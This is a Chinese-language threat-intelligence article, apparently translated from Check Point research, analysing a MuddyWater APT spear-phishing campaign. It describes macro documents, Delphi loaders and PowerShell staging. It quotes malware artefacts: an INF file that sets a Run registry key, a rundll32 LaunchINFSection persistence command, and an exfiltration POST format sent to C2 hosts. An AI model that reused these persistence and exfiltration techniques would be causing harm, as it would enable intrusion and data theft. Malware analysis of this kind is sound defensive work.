Muddy Waters APT最新攻击活动
导语:最近,Check Point研究人员发现一起MuddyWater的新活动,被攻击的目标有白俄罗斯、土耳其和乌克兰。
MuddyWater是一个伊朗的APT组织,从2017年开始活跃。最近,Check Point研究人员发现一起MuddyWater的新活动,被攻击的目标有白俄罗斯、土耳其和乌克兰。
攻击者使用的一个简单而有效的感染向量:鱼叉式钓鱼攻击。攻击一般以一封发送给目标组织的邮件开始的,然后从被感染的系统中窃取合法文档,再将改文档武器化然后发送给其他潜在的受害者。
为此需要创建一个诱使用户启用内容的诱饵信息,诱饵信息一般都含有真实公司或政府机构的logo。这些精心制作的社工恶意文档是变成无文件感染链的第一阶段,感染链最终会传递一个签名PowerShell后门——POWERSTATS。该后门可以从攻击者处接收命令,从系统中窃取文件、执行脚本、删除文件等等。
这些年来MuddyWater APT组织使用的策略、技术和步骤都在不断地变化。在最近的攻击活动中,研究人员发现一个并不是用PowerShell编写的二阶段可执行文件。
样本
研究人员发现一个名为SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc的恶意word文档,翻译过来就是SPK(土耳其资本市场委员会)法律变化.doc。该文档含有宏,并通过展示土耳其文的诱饵信息诱使受害者启动内容。
图1: 含有宏的恶意文档
· SHA-256: 2f77ec3dd5a5c8146213fdf6ac2df4a25a542cbd809689a5642954f2097e037a
背景中目录的图像含有看似合法的法律条文变化的描述,图中单词下的红线显示在一个不支持土耳其语的环境中编辑:
图2: 在非土耳其语环境中创建的诱饵文档
感染向量
如果受害者启用了恶意word文档中的宏,就会解码一个嵌入式payload,并以CiscoAny.exe的名字保存在%APPDATA%目录中。
可执行文件是用Delphi语言编写的,并用UPX打包,其中含有反分析技术:
除了运行该可执行文件外,还会在相同目录下创建一个名为CiscoTAP.inf的文件,文件内容如下:
[Version] Signature=$CHICAGO$ [DefaultInstall] AddReg=AddRegSection [AddRegSection] HKCU,Software\Microsoft\Windows\CurrentVersion\Run,CiscoAny,,”%APPDATA%\CiscoAny.exe”
然后执行以下命令来运行payload:
“C:\Windows\System32\cmd.exe” /k rundll32.exe ieadvpack.dll,LaunchINFSection %APPDATA%\CiscoTAP.inf,,1,
因为命令被加入到RUN注册表key中,这意味着可执行文件会在用户下次登陆后运行。IEAdvpack是一个Windows 8 DLL,该命令在一些系统中是无法执行的,因为找不到DLL。INF文件在之前的MuddyWater攻击活动中就被使用过了。
执行后,第一阶段会创建%APPDATA%\ID.dat文件,这是一个含有16个字符长的随机生成的受害者ID的文件:
[UID] ID=[VICTIM_ID]
然后,恶意软件会收集运行的系统中的信息,比如host name、运行的进程、物理内存、开机时间、使用的语言、公网IP地址等。收集的这些信息都回写入%APPDATA%\Info.txt文件中。
在收集数据之后,可执行文件会释放另一个可执行文件CiscoAny.exe,该文件是硬编码在resource中的,释放的位置为 %TEMP% 文件夹。第二个可执行文件也是用Delphi语言编写用UPX打包的:
最后,更新前面提到的ID.dat文件来表明感染的第一阶段是成功的:
[UID] ID=[VICTIM_ID] [STAGE] ONE=SUC
第二阶段
第二个可执行文件首先检查是否联网。会发送一个到Google.com的请求,如何连接成功,就复制之前创建的Info.txt文件的内容到%APPDATA%\[UNIQUE_ID].txt总。
图3:第二阶段指令
然后将收集的含有系统信息的文件POST到185.117.75[.]116.php:
—————————–[VICTIM_ID] Content-Disposition: form-data; name=”g3t_f_465″; filename=”[UNIQUE_ID].txt” Content-Type: application/octet-stream [INFO.TXT CONTENT] —————————–[VICTIM_ID] Content-Disposition: form-data; name=”t0ken” a8s9ydehj323r8ykjqwer@8124e —————————–[VICTIM_ID]–
请求中的参数(g3t_f_465和t0ken) 是由嵌入在可执行文件中的TFRMMAIN resource中的TclHttpRequest 对象决定的:
图3: 嵌入的配置
还有一个含有受害者唯一ID的请求会发送给googleads.hopto[.]org:
图6: C2通信
来自C2的响应消息会保存在%APPDATA%\temp.dat中,然后复制到%APPDATA%\Lib.ps1中。主可执行文件会持续检查lib.ps1,然后尝试执行其中的内容。
截止分析时已经无法获取来自C2的响应,但是POWERSTATS是感染的下一阶段的工具。
反分析技术
第一个可执行文件中使用的反分析技术非常有效,因此很难通过静态方法去分析样本。混淆方法创建了一个类似意大利面的代码,即将原始代码流分为若干小块,下一个指令的真实位置的动态计算的。
下面是一个例子,计算出下一个指令的位置,然后跳转(使用jmp或retn):
图7: 反分析代码段
与MuddyWater非常相似
该文档和嵌入的宏含有一些特殊字符串使研究人员感觉似曾相识。研究人员搜索发现该文档在MuddyWater的攻击活动中出现过:
研究人员使用VBA2Graph工具来将每个文档中宏的VBA调用图形化显示,这样可以快速发现这些文件的相似之处,比如函数名、参数名、解密方法和代码流。比如,研究人员就发现函数UFYYRJSFHX负责将解码的payload写入文件系统中。
图8: Vba2graph图形关系
这些文档都是2019年生成的,但是最后2个含有2个名为F38HUYFLSF985HFUISHS和SSSDS98746GB函数,这两个函数在2018年11月MuddyWater攻击活动中就开始使用了,因此研究人员猜测这些攻击活动中有某种联系:
图9: Vba2graph不同攻击活动之间的关系
MuddyWater不同之处
从前面的分析可以看出这些样本之间是有明显的联系的,但是也有一些不同之处。比如,从外观来看,MuddyWater使用的文档一般含有一个英文的诱饵信息,而前面两个样本中是没有的,第三个样本使用的是土耳其语。
而且,如果比较不同文档的宏,可以发现研究人员这个月发现的属于MuddyWater的样本在宏中使用了另一个函数命名方法(4个小写字母而不是大写字母和数字的组合):
图10: Vba2graph最近并行的攻击活动
· SHA-256: 08e256cd2fa027552be253ec3bf427b537977f9123adf1f36e7cd2843a057554
这与研究人员之前发现的样本是不同的,但在近几个月出现的其他的MuddyWater样本中也出现过:
图11: Vba2graph最近并行的攻击活动
· SHA-256: 93b749082651d7fc0b3caa9df81bad7617b3bd4475de58acfe953dfafc7b3987
以上说明,攻击者在同时并行发起攻击活动,其中在攻击的第一阶段至少使用了两个不同的宏生成器。
结论
MuddyWater APT攻击的目前之前主要在中东地区,包括沙特阿拉伯、阿联酋和土耳其。现在攻击的目标已经扩展到了白俄罗斯和乌克兰。攻击者还在不断的变化其攻击技术和策略,但主要还是使用基于宏的恶意文档来传播恶意payload。研究人员还发现攻击者在同时并行地发起多个攻击活动。
发表评论